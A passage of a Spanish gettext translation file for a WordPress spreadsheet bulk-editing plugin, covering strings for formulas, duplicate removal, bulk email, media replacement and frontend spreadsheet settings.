favor, indica cuáles términos quieres remover." #: formulas/formulas.php:897 msgid "Only administrators are allowed to send emails to users." msgstr "" "Solo los administradores pueden enviar correos electrónicos a los usuarios." #: formulas/formulas.php:900 msgid "Please enter the email subject and email message." msgstr "Ingresa el asunto y el mensaje del correo electrónico." #: formulas/formulas.php:904 msgid "The column selected is not valid." msgstr "La columna seleccionada no es válida." #: formulas/formulas.php:954 msgid "" "Error. The status column must be enabled in the spreadsheet before we can " "remove duplicates." msgstr "" "Error. La columna \"Estado\" debe estar habilitada en la hoja de cálculo " "antes de remover los duplicados." #: formulas/formulas.php:1242 wp-sheet-editor/dev/inc/ajax.php:263 #: wp-sheet-editor/dev/inc/api/helpers.php:878 msgid "Error: %s" msgstr "Error: %s" #: formulas/formulas.php:1279 msgid "Bulk edit not executed. No items found matching the criteria." msgstr "" "Cambio masivo no ejecutado. No se han encontrado elementos que cumplan los " "criterios." #: formulas/formulas.php:1296 msgid "

                  Complete

                  ." msgstr "

                  Completo

                  ." #: formulas/formulas.php:1313 msgid "" "

                  Editing the field: " "{column_label}. Items to process: {total}, Progress: " "{progress_percentage}%%, We have updated {edited} items.

                  " msgstr "" "

                  Editando el campo: " "{column_label}. Filas a procesar: {total}, Progreso: " "{progress_percentage}%%, Hemos actualizado {edited} filas.

                  " #: formulas/inc/ui.php:70 formulas/inc/ui.php:176 msgid "Bulk Edit" msgstr "Editor Masivo" #: formulas/inc/ui.php:73 msgid "Using this tool you can update thousands of rows at once" msgstr "Usando esta herramienta puedes editar miles de filas a la vez" #: formulas/inc/ui.php:74 msgid "Need help? Check our tutorials" msgstr "¿Necesitas ayuda? Consulta nuestros tutoriales" #: formulas/inc/ui.php:79 msgid "Select the rows that you want to update." msgstr "Selecciona las filas que quieres editar." #: formulas/inc/ui.php:82 msgid "Edit all the rows from my current search (including non-visible rows)." msgstr "" "Editar todas las filas de mi búsqueda actual (incluyendo las filas no " "visibles)." #: formulas/inc/ui.php:83 msgid "I want to search rows to update and edit all the search results" msgstr "" "Quiero buscar las filas a editar y editar todos los resultados de la búsqueda" #: formulas/inc/ui.php:84 msgid "Edit the rows that I selected manually in the spreadsheet." msgstr "" "Editar las filas que he seleccionado manualmente en la hoja de cálculo." #: formulas/inc/ui.php:85 msgid "Edit the same rows that I manually selected previously" msgstr "Editar las mismas filas que seleccioné manualmente previamente" #: formulas/inc/ui.php:87 msgid "Make another search" msgstr "Hacer otra búsqueda" #: formulas/inc/ui.php:95 msgid "What field do you want to edit?" msgstr "¿Qué campo quieres editar?" #: formulas/inc/ui.php:96 formulas/inc/ui.php:101 #: universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "Selecciona la columna...." #: formulas/inc/ui.php:98 msgid "" "A column is missing? Enable it" msgstr "" "¿Falta una columna? Habilítala " #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "¿Usar un método de ejecución más lento?" #: formulas/inc/ui.php:110 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "La forma predeterminada usa un método de ejecución más rápido, pero puede " "que no funcione en todos los casos. Usa esta opción cuando la forma " "predeterminada no funciona o no actualiza todas las filas." #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "%s filas serán editadas." #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "Puedes seleccionar las filas a editar en la primera opción de este " "formulario." #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "Tengo una copia de seguridad de la base de datos. Ejecutar Ahora" #: formulas/inc/ui.php:128 msgid "Execute Now" msgstr "Ejecutar Ahora" #: formulas/inc/ui.php:135 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de " "ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los " "ajustes de la edición masiva son correctos antes de ejecutar.

                  " #: formulas/inc/ui.php:137 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Cuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el " "procedimiento." #: formulas/inc/ui.php:144 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "El cambio masivo se está ejecutando. Por favor, no cierres esta ventana " "hasta que el proceso haya terminado." #: formulas/inc/ui.php:146 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Consejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote " #: formulas/inc/ui.php:149 universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "Pausar" #: formulas/inc/ui.php:149 wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "Atrás" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "Procesando..." #: formulas/inc/ui.php:187 msgid "Edit" msgstr "Editar" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "Borrar los duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "Borrar los duplicados por título (quitar los más antiguos)" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "nuevos)" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "antiguos)" #: formulas/inc/ui.php:255 msgid "More options" msgstr "Más opciones" #: formulas/inc/ui.php:300 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "A la edición masiva le falta información importante, por favor, completa el " "formulario." #: formulas/inc/ui.php:301 msgid "Select type of edit" msgstr "Selecciona el tipo de edición" #: formulas/inc/ui.php:302 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:303 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos." #: formulas/inc/ui.php:308 msgid "Remove terms from posts" msgstr "Remover términos de los posts" #: formulas/inc/ui.php:309 msgid "" "Enter one or multiple term names separated with %s or new lines. Enter the " "full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" "Ingresa uno o más términos separados por %s o uno nuevo en cada línea. " "Ingresa la jerarquía completa como \"Padre > Hijo\" para remover " "subcategorías" #: formulas/inc/ui.php:323 msgid "Add time to existing dates" msgstr "Agregar tiempo a las fechas existentes" #: formulas/inc/ui.php:324 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Agrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la " "fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Hours" msgstr "Horas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Days" msgstr "Días" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Weeks" msgstr "Semanas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Months" msgstr "Meses" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Years" msgstr "Años" #: formulas/inc/ui.php:345 formulas/inc/ui.php:373 msgid "Time unit" msgstr "Unidad de tiempo" #: formulas/inc/ui.php:351 msgid "Deduct time from existing dates" msgstr "Deducir tiempo de las fechas existentes" #: formulas/inc/ui.php:352 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si " "la fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:379 msgid "Math operation" msgstr "Operación matemática" #: formulas/inc/ui.php:380 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Actualiza el valor existente con el resultado de una operación matemática." "
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, " "3,845602 se convierte en 3,85" #: formulas/inc/ui.php:392 msgid "Math formula" msgstr "Fórmula matemática" #: formulas/inc/ui.php:393 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Ejemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 " "(Establecer precio normal - 30%)" #: formulas/inc/ui.php:400 woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "Disminuir en porcentaje" #: formulas/inc/ui.php:401 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:414 formulas/inc/ui.php:435 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "Disminuir en" #: formulas/inc/ui.php:415 formulas/inc/ui.php:457 msgid "Enter the percentage number." msgstr "Ingresa el número del porcentaje." #: formulas/inc/ui.php:421 msgid "Decrease by number" msgstr "Disminuir en número" #: formulas/inc/ui.php:422 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un número.
                  El resultado se redondea a los " "2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:436 formulas/inc/ui.php:478 formulas/inc/ui.php:596 msgid "Enter the number." msgstr "Ingresa el número." #: formulas/inc/ui.php:442 msgid "Increase by percentage" msgstr "Incrementar en porcentaje" #: formulas/inc/ui.php:443 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:456 formulas/inc/ui.php:477 msgid "Increase by" msgstr "Incrementar en" #: formulas/inc/ui.php:463 msgid "Increase by number" msgstr "Incrementar en número" #: formulas/inc/ui.php:464 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un número.
                  El resultado se redondea a los 2 " "decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:484 msgid "Set value" msgstr "Establecer valor" #: formulas/inc/ui.php:485 msgid "" "Replace existing value with this value. Read more" msgstr "" "Reemplazar el valor existente por este valor. Leer más" #: formulas/inc/ui.php:499 msgid "Set random value" msgstr "Establecer valor aleatorio" #: formulas/inc/ui.php:500 msgid "" "Replace existing value with a random value from this list. Enter the values " "separated with | if you want to select from a predefined list, or enter 2 " "dates separated with > if you want to select any date from that range" msgstr "" "Reemplazar el valor existente por un valor aleatorio de esta lista. Ingresa " "los valores separándolos con | si quieres seleccionar de una lista " "predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar " "cualquier fecha de ese rango." #: formulas/inc/ui.php:518 msgid "Remove everything after some text" msgstr "Eliminar todo lo que aparece después de un texto" #: formulas/inc/ui.php:519 msgid "" "I.e. A value like \"My great title (234343)\" can become \"My great title\" " "by removing everything after \" (\"" msgstr "" "Es decir, un valor como \"Mi gran título (234343)\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que aparece después de \" (\"" #: formulas/inc/ui.php:528 msgid "Remove everything after this text" msgstr "Eliminar todo lo que aparece después de este texto" #: formulas/inc/ui.php:531 msgid "Remove the text too?" msgstr "¿Eliminar el texto también?" #: formulas/inc/ui.php:533 msgid "Yes, remove everything after the text, including the text" msgstr "" "Sí, eliminar todo lo que aparece después del texto, incluyendo el texto" #: formulas/inc/ui.php:533 msgid "No, remove everything after the text, without including the text" msgstr "" "No, eliminar todo lo que aparece después del texto, sin incluir el texto" #: formulas/inc/ui.php:539 msgid "Remove everything before some text" msgstr "Eliminar todo lo que aparece antes de un texto" #: formulas/inc/ui.php:540 msgid "" "I.e. A value like \"(234343) My great title\" can become \"My great title\" " "by removing everything before \") \"" msgstr "" "Por ejemplo, un valor como \"(234343) Mi gran título\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que precede a \") \"." #: formulas/inc/ui.php:549 msgid "Remove everything before this" msgstr "Eliminar todo lo que aparece antes de esto" #: formulas/inc/ui.php:552 msgid "Remove the text from above too?" msgstr "¿Quitar también el texto de arriba?" #: formulas/inc/ui.php:560 formulas/inc/ui.php:1005 msgid "Replace" msgstr "Reemplazar" #: formulas/inc/ui.php:561 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Reemplaza una palabra, frase o número con un nuevo valor. Leer más" #: formulas/inc/ui.php:570 formulas/inc/ui.php:1079 msgid "Replace this" msgstr "Reemplazar esto" #: formulas/inc/ui.php:574 formulas/inc/ui.php:1084 msgid "With this" msgstr "Con esto" #: formulas/inc/ui.php:580 msgid "Generate excerpt" msgstr "Generar extracto" #: formulas/inc/ui.php:581 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Si la columna tiene texto demasiado largo, borraremos el HTML y lo " "acortaremos a un número de palabras." #: formulas/inc/ui.php:595 msgid "Maximum number of words" msgstr "Número máximo de palabras" #: formulas/inc/ui.php:602 msgid "Capitalize words" msgstr "Poner en mayúsculas las palabras" #: formulas/inc/ui.php:603 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Poner en mayúsculas la primera letra de cada palabra del campo. Es decir, " "convertir \"mi título\" en \"Mi Título\"." #: formulas/inc/ui.php:623 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Eliminar el valor existente y dejar el campo vacío. Leer más" #: formulas/inc/ui.php:642 msgid "Remove duplicates" msgstr "Eliminar duplicados" #: formulas/inc/ui.php:643 formulas/inc/ui.php:660 msgid "" "Read " "more" msgstr "" "Leer más." "" #: formulas/inc/ui.php:651 formulas/inc/ui.php:668 msgid "Which duplicates do you want to delete?" msgstr "¿Qué duplicados quieres eliminar?" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the newest items and keep the oldest item" msgstr "Borrar los elementos nuevos y mantener el elemento más antiguo" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the old items and keep the newest item" msgstr "Borrar los elementos antiguos y mantener el elemento más reciente" #: formulas/inc/ui.php:659 msgid "Remove duplicates with same title and content" msgstr "Borrar duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:676 msgid "Append" msgstr "Añadir al final" #: formulas/inc/ui.php:685 msgid "Enter the value to append to the existing value." msgstr "Ingresa el valor a añadir al final del valor existente." #: formulas/inc/ui.php:691 msgid "Prepend" msgstr "Añadir al inicio" #: formulas/inc/ui.php:703 msgid "Enter the value to prepend to the existing value." msgstr "Ingresa el valor para añadir al inicio del valor existente." #: formulas/inc/ui.php:709 msgid "Custom formula" msgstr "Fórmula personalizada" #: formulas/inc/ui.php:721 msgid "" "Only for advanced users. Read more." msgstr "" "Sólo para usuarios avanzados. Leer más." #: formulas/inc/ui.php:727 msgid "Send email" msgstr "Enviar correo electrónico" #: formulas/inc/ui.php:728 msgid "" "

                  Send email notifications to users in bulk, and create advanced segments " "using the advanced search.

                  For example, you can filter a spreadsheet " "of customers/users/forum users/affiliates/blog commenters by country, city, " "state, orders count, etc and send them important emails.

                  We recommend " "that you use a SMTP plugin to improve the email deliverability and take into " "account the users consent and privacy laws.

                  " msgstr "" "

                  Envía notificaciones por correo electrónico a los usuarios de forma " "masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/" "miembros de un foro/afiliados/comentaristas del blog por país, ciudad, " "estado, recuento de pedidos, etc., y enviarles correos electrónicos " "importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar " "la entrega de los correos electrónicos y tener en cuenta el consentimiento " "de los usuarios y las leyes de privacidad.

                  " #: formulas/inc/ui.php:740 msgid "Email subject" msgstr "Asunto del correo electrónico" #: formulas/inc/ui.php:740 msgid "You can use variables to insert the value of any column." msgstr "Puedes utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:747 msgid "Email message" msgstr "Mensaje del correo" #: formulas/inc/ui.php:747 msgid "" "We recommend that you create a message that looks like it was written " "personally, you should add your logo, message, and email signature. You can " "use variables to insert the value of any column." msgstr "" "Te recomendamos que crees un mensaje que parezca escrito personalmente, " "debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes " "utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:754 msgid "Reply to" msgstr "Responder a" #: formulas/inc/ui.php:754 msgid "People will reply to this email address" msgstr "Los receptores responderán a esta dirección de correo electrónico" #: formulas/inc/ui.php:757 msgid "Only send one email per email address?" msgstr "¿Sólo se puede enviar un correo electrónico por dirección?" #: formulas/inc/ui.php:757 msgid "" "One email per user means that if 3 rows have the same email address, only " "one row will trigger an email and the others will be skipped. One email per " "row means that if 3 rows have the same email address, we'll send 3 emails to " "the same address (one per row)." msgstr "" "Un correo electrónico por usuario significa que si 3 filas tienen la misma " "dirección de correo electrónico, sólo una fila activará un correo " "electrónico y las demás se omitirán. Un correo electrónico por fila " "significa que si 3 filas tienen la misma dirección de correo electrónico, " "enviaremos 3 correos electrónicos a la misma dirección (uno por fila)." #: formulas/inc/ui.php:759 msgid "Send one email per user" msgstr "Enviar un correo electrónico por usuario" #: formulas/inc/ui.php:759 msgid "Send one email per row" msgstr "Enviar un correo electrónico por fila" #: formulas/inc/ui.php:765 msgid "PHP Function" msgstr "Función PHP" #: formulas/inc/ui.php:777 msgid "" "For advanced users. Enter the name of your PHP function and we will pass 2 " "parameters: $current_data (string with current value of the column) and " "$row_id, the function must accept the 2 parameters and return the modified " "value as a string. We will automatically save it if the value changed. Read more." msgstr "" "Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 " "parámetros: $current_data (string con el valor actual de la celda) y " "$row_id, la función debe aceptar los 2 parámetros y devolver el valor " "modificado para guardar como string. Automáticamente guardaremos si el valor " "devuelto cambió. Leer más." #: formulas/inc/ui.php:783 msgid "Copy from other columns" msgstr "Copiar de otras columnas" #: formulas/inc/ui.php:788 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Copiar el valor de otros campos en este campo.
                  Ejemplo, copiar \"precio " "rebajado\" al campo \"precio normal\"." #: formulas/inc/ui.php:799 msgid "Copy from this column" msgstr "Copiar de esta columna" #: formulas/inc/ui.php:875 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Reemplazaremos el/los archivo(s) multimedia existentes con este/estos " "archivo(s)." #: formulas/inc/ui.php:886 formulas/inc/ui.php:911 formulas/inc/ui.php:936 msgid "Upload the files" msgstr "Subir los archivos" #: formulas/inc/ui.php:893 formulas/inc/ui.php:918 formulas/inc/ui.php:943 msgid "File URLs" msgstr "URLs de archivos" #: formulas/inc/ui.php:894 formulas/inc/ui.php:919 formulas/inc/ui.php:944 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "Ingresa las URL separadas por comas. Pueden ser de tu propio sitio." #: formulas/inc/ui.php:900 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "multimedia existente(s)." #: formulas/inc/ui.php:925 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "existente(s)." #: formulas/inc/ui.php:950 formulas/inc/ui.php:1006 msgid "Replace a media file with other file" msgstr "Reemplazar un archivo multimedia por otro archivo" #: formulas/inc/ui.php:959 msgid "Replace these files" msgstr "Reemplazar estos archivos" #: formulas/inc/ui.php:960 formulas/inc/ui.php:968 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "Ingresa las URL separadas por comas. Deben ser de tu propio sitio." #: formulas/inc/ui.php:967 msgid "With these files" msgstr "Con estos archivos" #: formulas/inc/ui.php:980 msgid "We will replace the existing media file with this file." msgstr "Reemplazaremos el archivo multimedia existente con este archivo." #: formulas/inc/ui.php:991 msgid "Upload the file" msgstr "Subir el archivo" #: formulas/inc/ui.php:999 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Ingresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio." "com/wp-content/uploads/2016/01/file.jpg) o una URL externa." #: formulas/inc/ui.php:1015 msgid "Replace this file" msgstr "Reemplazar este archivo" #: formulas/inc/ui.php:1016 formulas/inc/ui.php:1024 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio." "com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:1023 msgid "With this file" msgstr "Con este archivo" #: formulas/inc/ui.php:1062 msgid "We will replace the existing terms with these terms." msgstr "Sustituiremos los términos existentes por estos términos." #: formulas/inc/ui.php:1067 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como " "padre > hijo > hijo" #: formulas/inc/ui.php:1073 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Reemplazar algún/algunos término(s) con término(s) nuevo(s). Leer más" #: formulas/inc/ui.php:1080 formulas/inc/ui.php:1085 msgid "You must enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: formulas/inc/ui.php:1095 msgid "Terms" msgstr "Términos" #: formulas/inc/ui.php:1096 msgid "Enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Hojas de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Mensaje de inicio de sesión" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Necesitas iniciar sesión para ver esta página." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Esto se mostrará cuando el usuario actual no esté conectado e intente ver " "una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión " "después del mensaje." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Ocultar la barra de administración en el frontend" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Por defecto, WordPress muestra una barra negra en la parte superior de la " "página cuando un usuario que ha iniciado sesión ve una página del frontend. " "La barra te permite acceder a wp-admin, cerrar sesión, editar la página " "actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar " "el código abreviado: [vg_display_logout_link] para mostrar el enlace de " "cierre de sesión." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Este logotipo se mostrará encima de la hoja de cálculo en el frontend" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menú" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Este menú se mostrará en la parte superior derecha de la hoja de cálculo." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Color principal" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" "Este color se utilizará como fondo para el encabezado y el pie de página." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Color de los enlaces" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Este color se utilizará para los enlaces del menú, debe ser el opuesto del " "color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con " "texto oscuro" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "Entradas" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "Páginas" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "Ajustes rápidos" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. Probar Gratis por 7 Días " ")" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:418 frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "Hoja de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "Post type" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "Archivos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "Atributos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "Hoja de Cálculo Padre:" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "Todas las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "Agregar Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "Añadir Nuevo" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "Editar ajustes" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "Actualizar ajustes" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "Ver la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "Ver las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "Buscar Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "No encontrado" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "No se encontró en la Papelera" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:791 msgid "Featured Image" msgstr "Imagen Destacada" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "Establecer imagen destacada" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "Eliminar imagen destacada" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "Usar como imagen destacada" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "Insertar en el elemento" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "Subido a este elemento" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "Lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "Navegación por la lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "Filtrar elementos de la lista" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "¿Necesitas ayuda?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Ver tutorial" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "¿Qué información quieres editar en el frontend?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:288 #: wp-sheet-editor/dev/views/editor-page.php:331 msgid "Save changes" msgstr "Guardar cambios" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Por favor, selecciona el post type y guarda los cambios. Después de guardar " "los cambios, podrás ver el resto de los ajustes e instrucciones." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Configurar página en el frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, " "puedes cambiar el color de fondo, el color de los enlaces y establecer un " "menú de navegación de la cabecera." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Abrir la Página de Ajustes" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Previsualizar el Editor Frontend" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." 